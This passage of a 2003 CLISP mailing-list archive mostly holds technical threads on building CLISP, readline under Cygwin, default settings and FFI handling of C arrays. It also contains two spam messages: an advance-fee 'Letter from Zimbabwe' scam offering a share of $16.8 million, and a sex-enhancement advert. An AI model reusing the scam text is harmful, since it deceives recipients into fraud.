19fkcz-0002XL-00 for ; Thu, 24 Jul 2003 11:15:45 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se. [208.237.135.118]) by imr1.ericy.com (8.12.9/8.12.9) with ESMTP id h6OIFgVf014006; Thu, 24 Jul 2003 13:15:42 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id PMD8LT4J; Thu, 24 Jul 2003 13:15:13 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA11092; Thu, 24 Jul 2003 14:15:41 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.11.6+Sun/8.10.2) id h6OIFeO08912; Thu, 24 Jul 2003 14:15:40 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Vadim V. Zhytnikov" Cc: Sam Halliday , maxima@mail.ma.utexas.edu, clisp-list@lists.sourceforge.net References: <20030710010547.7b25bf3e.fommil@yahoo.ie> <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> <3F0FC92D.1090202@mail.ru> From: Raymond Toy In-Reply-To: <3F0FC92D.1090202@mail.ru> (Vadim V. Zhytnikov's message of "Sat, 12 Jul 2003 11:39:09 +0300") Message-ID: <4nvftr3i5w.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (cassava, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [Maxima] maxima breaks with CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 24 11:16:34 2003 X-Original-Date: Thu, 24 Jul 2003 14:15:39 -0400 >>>>> "Vadim" == Vadim V Zhytnikov writes: Vadim> Maxima passes all tests on CLISP CVS Vadim> if I replace the last line by Vadim> (type-of x)))))) Oops! I'll fix this and commit it shortly. This will be the implementation for all Lisps. Ray From hin@van-halen.alma.com Tue Jul 29 17:47:48 2003 Received: from southwark.dsl.net ([65.84.81.9]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19hf7z-00071G-00 for ; Tue, 29 Jul 2003 17:47:39 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by southwark.dsl.net (Postfix) with ESMTP id 31DF610DE35 for ; Tue, 29 Jul 2003 20:47:31 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h6U0lUVk004386 for ; Tue, 29 Jul 2003 20:47:31 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h6U0lUIP004383; Tue, 29 Jul 2003 20:47:30 -0400 Message-Id: <200307300047.h6U0lUIP004383@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@sourceforge.net Subject: [clisp-list] CLISP for Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 29 17:48:21 2003 X-Original-Date: Tue, 29 Jul 2003 20:47:30 -0400 Hi all, I have a colleague that wants to do some casual Lisp programming in Lisp on his Mac Powerbook (G4 I think) which runs Mac OS X. I'm thinking CLISP is his best bet for that platform, and ideally I'd like to point him to a binary, but I only see the dusty 2.29 vintage CLISP in binary form for Mac. I'm wondering (a) is there a more recent binary somewhere, or (b) could someone make me a more recent one, or (c) are there any tricks required to build it from source on the Mac. In short, what is the best way for one to bring up CLISP quickly on a relatively new Mac? --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From t330y4k@netscape.net Wed Jul 30 04:39:56 2003 Received: from [212.129.199.83] (helo=mail.sf.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19hpJE-0006Sr-00 for ; Wed, 30 Jul 2003 04:39:56 -0700 From: "." To:clisp-list@sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Letter from Zimbabwe Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 30 04:40:06 2003 X-Original-Date: Wed, 30 Jul 2003 13:39:46 Sir, URGENT BUSINESS RELATIONSHIP I was the chairman of contract review panel in my country before the problem of the land reform program in my country Zimbabwe. Before the escalation of the situation in Zimbabwe I recovered $16.8Million US dollars from over inflated contracts by some government officials. But I was a member of the opposition party the MDC (Movement for Democratic Change), and the ruling Party, (ZANU PF) has been against us. So I had to flee the country for a neighbouring African Country which I am currently residing. Before the escalation of the situation in Zimbabwe I had not reported the recovery of my findings to the panel. So this money was in my possession and I lodged it in a security company here in Africa and currently this money has been moved to their security branch in Europe. I have been trying to fly to Europe but it has been difficult for me to get a visa from Africa. So I want you to help me make claims of this fund($16m) in Europe as my beneficiary and transfer the money to your account or any account of your choice before I can get a visa to fly down. So that we can share this money. I have agreed to give you 10%,which would be ($1.6Million dollars) of this Money for your assistance, and 87% would be mine and the other 3% would be set aside for any expenses that we may incure during the course of this transaction. And part of my 87% would be invested in your country in any profitable business propossed by you. While a large part of my share will be also be used to help the suffering people of my country Zimbabwe. We have never met, but I want to trust you and please do not let me down when this fund finally gets into your account. Please if you are interested, get to me through my email address to enable me feed you with more details and all necessary documentations. Please treat this as confidential Best regards. NOTE: YOU CAN READ ABOUT PROBLEMS IN ZIMBABWE FROM THE LINKS BELOW http://www.1freespace.com/beetee/nov19_2001.html http://news.bbc.co.uk/1/hi/world/africa/918781.stm http://news.bbc.co.uk/1/hi/world/africa/715001.stm http://news.bbc.co.uk/1/hi/world/africa/1063785.stm From maygratton@eksjo.se Thu Jul 31 19:42:58 2003 Received: from [217.219.235.58] (helo=snoopy.elison.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19iPgZ-0001Yn-00 for ; Thu, 31 Jul 2003 19:30:45 -0700 Received: from ecrel.com.br ([64.107.175.69]) by snoopy.elison.com with Microsoft SMTPSVC(6.0.2600.1); Fri, 1 Aug 2003 07:04:36 +0330 Message-ID: <000074560def$00002afa$00004fdc@inha.ac.kr> To: Cc: , , , , , , , From: "Nora Sharp" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 01 Aug 2003 03:34:37.0224 (UTC) FILETIME=[D52AB280:01C357DD] Subject: [clisp-list] All Of It18059 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 31 19:43:14 2003 X-Original-Date: Thu, 31 Jul 2003 19:29:49 -1900 Take Your Sex Life To New Levels Your penis will grow up to 3 inches Your erections will be rock hard Your sex drive will be supercharged Your orgasms will be more intense Your partner will be astounded See how http://www.1smartworld.com/jhy.php?man=pwv Or http://site.mortfree.net/jhy.php?man=pwv To discontinue receiving offer click this link http://www.qrstuv.org/obg/index.htm From Joerg-Cyril.Hoehle@t-systems.com Fri Aug 01 05:25:40 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19iYyX-0007pr-00 for ; Fri, 01 Aug 2003 05:25:37 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 1 Aug 2003 14:25:18 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 1 Aug 2003 14:25:18 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05C9725A@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] default settings of *load-compiling* and *print-pretty* (naive be nchmarks) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 1 05:26:19 2003 X-Original-Date: Fri, 1 Aug 2003 14:25:09 +0200 Hi, the recent thread in comp.lang.lisp started by John Proctor lead me to = ask you the following: 1. Would people object if -C (*load-compiling*) were set (to true) by = default? 2. What about the default value of *print-pretty*? Ad 1 pros and cons: + benchmarks =E0 la "time clisp hanoi.cl" would yield much much improved times (should beat Python any time). + other implementations (MCL?) only have a compiler anyway and use a read-compile-funcall-print loop. + novices may benefit from "unused variable/undeclared variable" = warnings - novices may be confused by such warnings - step is much less useful with compiled functions Ad 2 *print-pretty* had been set to false for many years. It was only not = too long ago that the decision was made, IIRC based on "todays machines = are fast enough" reasoning, to set it to true in the default = configuration. I'm unsure whether Proctor's program would have been or was much = affected by the value of *print-pretty* in CLISP (it made a lot of a = difference with CMUCL). What do CLISP users think? Regards, J=F6rg H=F6hle From sigurd@12move.de Sat Aug 02 11:03:12 2003 Received: from relay1.tiscali.de ([62.26.116.129] helo=webmail.tiscali.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19j0im-0006G0-00 for ; Sat, 02 Aug 2003 11:03:12 -0700 Received: from wintendo.pflaesterer.de (62.246.21.98) by webmail.tiscali.de (6.7.019) id 3F28E03D000DC403 for clisp-list@lists.sourceforge.net; Sat, 2 Aug 2003 20:03:05 +0200 Received: from localhost (HELO windoof) [127.0.0.1] by wintendo.pflaesterer.de (127.0.0.1) with ESMTP (Classic Hamster Version 2.0 Build 2.0.2.1) ; Sat, 02 Aug 2003 19:59:28 +0200 To: clisp-list@lists.sourceforge.net From: sigurd@12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) Message-ID: X-Face: #iIcL\6>Qj/G*F@AL9T*v/R$j@7Q`6#FU&Flg6u6aVsLdWf(H$U5>:;&*>oy>jOIWgA%8w* A!V7X`\fEGoQ[@D'@i^*p3FCC6&Rg~JT/H_*MOX;"o~flADb8^ Organization: Lemis World Mail-Copies-To: never Mail-Followup-To: clisp-list@lists.sourceforge.net User-Agent: Gnus/5.1003 (Gnus v5.10.3) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Clisp (cvs) cygwin and readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 2 11:04:03 2003 X-Original-Date: Sat, 02 Aug 2003 19:59:30 +0200 Hi, the current cvs version compiles fine under cygwin but I'm unable to use readline. I do (a) ./configure /tmp/clisp (b) cd /tmp/clisp; ./makemake --with-dynamic-ffi --with-readline > Makefile (c) make All seems to be fine but I can't use readline. In unixconf.h I can read: ,---- | /* CL_READLINE */ | /* Define if you have a recent readline (4+). */ | #define HAVE_READLINE 1 | /* Define as const if the declaration of filename_completion_function() | needs const in the first argument */ | #define READLINE_CONST const | /* The readline built-in filename completion function, either | rl_filename_completion_function() or filename_completion_function() */ | #define READLINE_FILE_COMPLETE rl_filename_completion_function `---- Also linking happens with -lreadline; from the Makefile ,---- | LIBS = -lintl libcharset.a libavcall.a libcallback.a -lreadline -lncurses -liconv `---- I see one problem in config.log ,---- | configure:23270: checking readline/readline.h usability | configure:23283: gcc -c -g -O2 conftest.c >&5 | configure:23286: $? = 0 | configure:23289: test -s conftest.o | configure:23292: $? = 0 | configure:23302: result: yes | configure:23306: checking readline/readline.h presence | configure:23317: gcc -E conftest.c | configure:23323: $? = 0 | configure:23342: result: yes | configure:23378: checking for readline/readline.h | configure:23385: result: yes | configure:23399: checking for library containing readline | configure:23430: gcc -o conftest.exe -g -O2 conftest.c -lncurses >&5 | /c/WINDOWS/TEMP/ccKd7JgM.o(.text+0x16): In function `main': | /tmp/clisp/configure:23599: undefined reference to `_readline' | collect2: ld returned 1 exit status `---- When I try to use eg. the tabkey only a tab char gets inserted and with the arrow keys I only can read the following: [1]> *** - READ from # #>: illegal character #\Escape 1. Break [2]> With eg. guile (which comes precompiled with cygwin) the readline lib can be used without problems. Karl -- 'Twas brillig, and the slithy toves Did gyre and gimble in the wabe; All mimsy were the borogoves, And the mome raths outgrabe. "Lewis Carroll" "Jabberwocky" From vs1100@terra.es Sun Aug 03 02:14:53 2003 Received: from smtp.terra.es ([213.4.129.129] helo=tsmtp9.mail.isp) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jEx1-0002N1-00 for ; Sun, 03 Aug 2003 02:14:51 -0700 Received: from localhost.terra.es ([62.37.38.83]) by tsmtp9.mail.isp (terra.es) with ESMTP id HJ1DOK02.4CR for ; Sun, 3 Aug 2003 11:14:44 +0200 Message-Id: <5.2.0.9.0.20030803111212.00a5a3a0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Re: cygwin and readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 3 02:15:03 2003 X-Original-Date: Sun, 03 Aug 2003 11:13:26 +0200 works fine on my system compiled with cvs head on 2003-08-01 Karsten > 1. Clisp (cvs) cygwin and readline (Karl =?iso-8859-1?q?Pfl=E4sterer?=) From lisp-clisp-list@m.gmane.org Sun Aug 03 06:32:54 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jIyi-0005Rl-00 for ; Sun, 03 Aug 2003 06:32:52 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jIyP-0001Bm-00 for ; Sun, 03 Aug 2003 15:32:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jIyO-0001Bd-00 for ; Sun, 03 Aug 2003 15:32:32 +0200 From: Sam Steingold Organization: disorganization Lines: 42 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Clisp (cvs) cygwin and readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 3 06:33:05 2003 X-Original-Date: 03 Aug 2003 09:32:47 -0400 > * In message > * On the subject of "Clisp (cvs) cygwin and readline" > * Sent on Sat, 02 Aug 2003 19:59:30 +0200 > * Honorable sigurd@12move.de (Karl Pflästerer) writes: > > the current cvs version compiles fine under cygwin but I'm unable to > use readline. works for me. > | /* CL_READLINE */ > | /* Define if you have a recent readline (4+). */ > | #define HAVE_READLINE 1 so you do have a working readline. > | configure:23430: gcc -o conftest.exe -g -O2 conftest.c -lncurses >&5 > | /c/WINDOWS/TEMP/ccKd7JgM.o(.text+0x16): In function `main': > | /tmp/clisp/configure:23599: undefined reference to `_readline' > | collect2: ld returned 1 exit status look below - you will see success with -lreadline. > When I try to use eg. the tabkey only a tab char gets inserted and with > the arrow keys I only can read the following: > > [1]> > *** - READ from # #>: illegal character #\Escape > 1. Break [2]> this usually means that CLISP thinks that it is not on a console. see make_terminal_stream_() in src/tream.d. (./configure --with-debug --build build-g) you will probably discover that same_tty is false. why? are you running on a cygwin xterm/rxvt? -- Sam Steingold (http://www.podval.org/~sds) running w2k The only thing worse than X Windows: (X Windows) - X From lisp-clisp-list@m.gmane.org Mon Aug 04 07:52:46 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jghY-00077O-00 for ; Mon, 04 Aug 2003 07:52:44 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jghC-00074b-00 for ; Mon, 04 Aug 2003 16:52:22 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jghA-00074Q-00 for ; Mon, 04 Aug 2003 16:52:20 +0200 From: Sam Steingold Organization: disorganization Lines: 32 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B6F2@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: c-pointer: NULL == NIL polymorphism Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 07:53:10 2003 X-Original-Date: 04 Aug 2003 10:52:38 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B6F2@G8PQD.blf01.telekom.de> > * On the subject of "Re: FFI crash: what am I missing?!" > * Sent on Mon, 4 Aug 2003 13:00:33 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Or allowing NIL for c-pointer (and return NIL for c-pointer as NULL!), > as I said would be ok in last week's e-mail. so, I take it that you think this is a good idea, right? Unless Bruno objects, I will make NIL a valid value for c-pointer and interpret it as a NULL pointer, and convert NULL to NIL on return. the users will have to change their checks from (FFI:FOREIGN-ADDRESS-NULL return-value) to (NULL return-value) I will also remove the function FFI:FOREIGN-ADDRESS-NULL since it will become useless. objections? -- Sam Steingold (http://www.podval.org/~sds) running w2k Oh Lord, give me the source code of the Universe and a good debugger! From sds@alphatech.com Mon Aug 04 08:10:28 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jgyh-0004g9-00 for ; Mon, 04 Aug 2003 08:10:27 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h74FA6o05538; Mon, 4 Aug 2003 11:10:06 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "Hoehle, Joerg-Cyril" Cc: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B67C@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B67C@G8PQD.blf01.telekom.de> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: FFI crash: what am I missing?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 08:11:04 2003 X-Original-Date: 04 Aug 2003 10:53:49 -0400 what is the correct idiom for the C "unknown type array"? E.g., suppose int* foo(); will return the array of integers of size N, where N is the return value of another function int foo_size(); how do I express foo() and foo_size() in CLISP FFI? this: (def-call-out foo (:arguments) (:return-type (c-ptr-null int))) (def-call-out foo_size (:arguments) (:return-type int)) (defun get-foo () (let ((size (foo_size)) (ptr (foo))) (ffi:cast ptr (c-array int size)))) shouldn't probably work (ptr is not a place, right?) Suppose int foo (int *size, int**arr); returns status and puts the length of the array into `size' and the pointer of the array into `arr'. what is the correct CLISP FFI idiom? (def-call-out foo (:arguments (size int :out) (arr (c-array-ptr int) :out)) (:return-type int)) (defun get-foo () (multiple-value-bind (status size arr) (foo) (when (zerop status) (ffi:cast arr (c-array int size))))) same problem... thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From Joerg-Cyril.Hoehle@t-systems.com Mon Aug 04 09:11:33 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jhvn-000768-00 for ; Mon, 04 Aug 2003 09:11:32 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 4 Aug 2003 18:11:23 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 4 Aug 2003 18:11:23 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B7D3@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] AW: FFI crash: what am I missing?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 09:12:02 2003 X-Original-Date: Mon, 4 Aug 2003 18:11:20 +0200 Hi, >what is the correct idiom for the C "unknown type array"? >E.g., suppose > int* foo(); >will return the array of integers of size N, where N is the return >value of another function > int foo_size(); >how do I express foo() and foo_size() in CLISP FFI? >Suppose > int foo (int *size, int**arr); >returns status and puts the length of the array into `size' and the >pointer of the array into `arr'. >what is the correct CLISP FFI idiom? The latter case would have been covered by my (yet to be written) DEF-VARIABLE-CALL-OUT macro, which encapsulates this common scenario. I never found he time to implement that except for some notes one night I couldn't sleep. Basically it's like in Haskell'FFI a size indication that's conveyed from one argument to another or to the return value. Explicit management using WITH-FOREIGN-OBJECT and friends is involved. Maybe lookup all articles of mine on variable length arrays in clisp-list. A longer answer may follow tomorrow, I need to go home now. Regards, Jorg. From lisp-clisp-list@m.gmane.org Mon Aug 04 10:02:49 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jijP-00046k-00 for ; Mon, 04 Aug 2003 10:02:47 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jij3-0003A7-00 for ; Mon, 04 Aug 2003 19:02:25 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jij1-00039w-00 for ; Mon, 04 Aug 2003 19:02:23 +0200 From: Sam Steingold Organization: disorganization Lines: 53 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B7D3@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org Cc: "Hoehle, Joerg-Cyril" X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: AW: FFI crash: what am I missing?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 10:03:07 2003 X-Original-Date: 04 Aug 2003 13:02:42 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B7D3@G8PQD.blf01.telekom.de> > * On the subject of "AW: FFI crash: what am I missing?!" > * Sent on Mon, 4 Aug 2003 18:11:20 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >what is the correct idiom for the C "unknown type array"? > >E.g., suppose > > int* foo(); > >will return the array of integers of size N, where N is the return > >value of another function > > int foo_size(); > >how do I express foo() and foo_size() in CLISP FFI? > > >Suppose > > int foo (int *size, int**arr); > >returns status and puts the length of the array into `size' and the > >pointer of the array into `arr'. > >what is the correct CLISP FFI idiom? > > The latter case would have been covered by my (yet to be written) > DEF-VARIABLE-CALL-OUT macro, which encapsulates this common > scenario. I never found he time to implement that except for some > notes one night I couldn't sleep. > Basically it's like in Haskell'FFI a size indication that's conveyed > from one argument to another or to the return value. what if, as in the first example, the size is returned by a _different_ function?! > Explicit management using WITH-FOREIGN-OBJECT and friends is > involved. any cast requires equal memory size. (with-foreign-object (ret `(c-array int ,(foo_size node)) (foo node)) (print ret)) does not work. c-array-max doesn't work because it expects to find a zero termination and finds garbage instead. is a C wrapper the only solution? > A longer answer may follow tomorrow, I need to go home now. biting my nails off :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From lisp-clisp-list@m.gmane.org Mon Aug 04 12:38:05 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jl9e-0005CV-00 for ; Mon, 04 Aug 2003 12:38:02 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jl9I-0008Ic-00 for ; Mon, 04 Aug 2003 21:37:40 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19jl9H-0008IR-00 for ; Mon, 04 Aug 2003 21:37:39 +0200 From: Sam Steingold Organization: disorganization Lines: 45 Message-ID: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] FFI: variable size values Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 12:39:03 2003 X-Original-Date: 04 Aug 2003 15:37:56 -0400 Consider the following workaround: void* null_terminate (void *garbage, void *data, int size, int num_el) { static char buf[BUFSIZ]; if (size*num_el>BUFSIZ) abort(); memset(buf,0,BUFSIZ*sizeof(char)); memcpy(buf,data,size*num_el); return buf; } (def-call-out null_terminate_float (:arguments (prob-vec c-pointer) (size int) (num int)) (:return-type (c-array-max float #.MAX_STATE)) (:name "null_terminate")) prob-vec comes from a function returning an array of floats. (GetNodeBeliefs_bn). call it like this: (setq b (netica::GetNodeBeliefs_bn *tuberculosis*)) (setq n (netica::GetNodeNumberStates_bn *tuberculosis*)) (setq s (ffi:sizeof 'float)) (setq r (netica::null_terminate_float b s n)) b=# n=2 s=4 in null_terminate: (garbage=0x22b19c, data=0x11aa458, size=4, num_el=2) *** where does garbage=0x22b19c come from ???!!! the return vector buf happens to be 0-filled. on converting the first 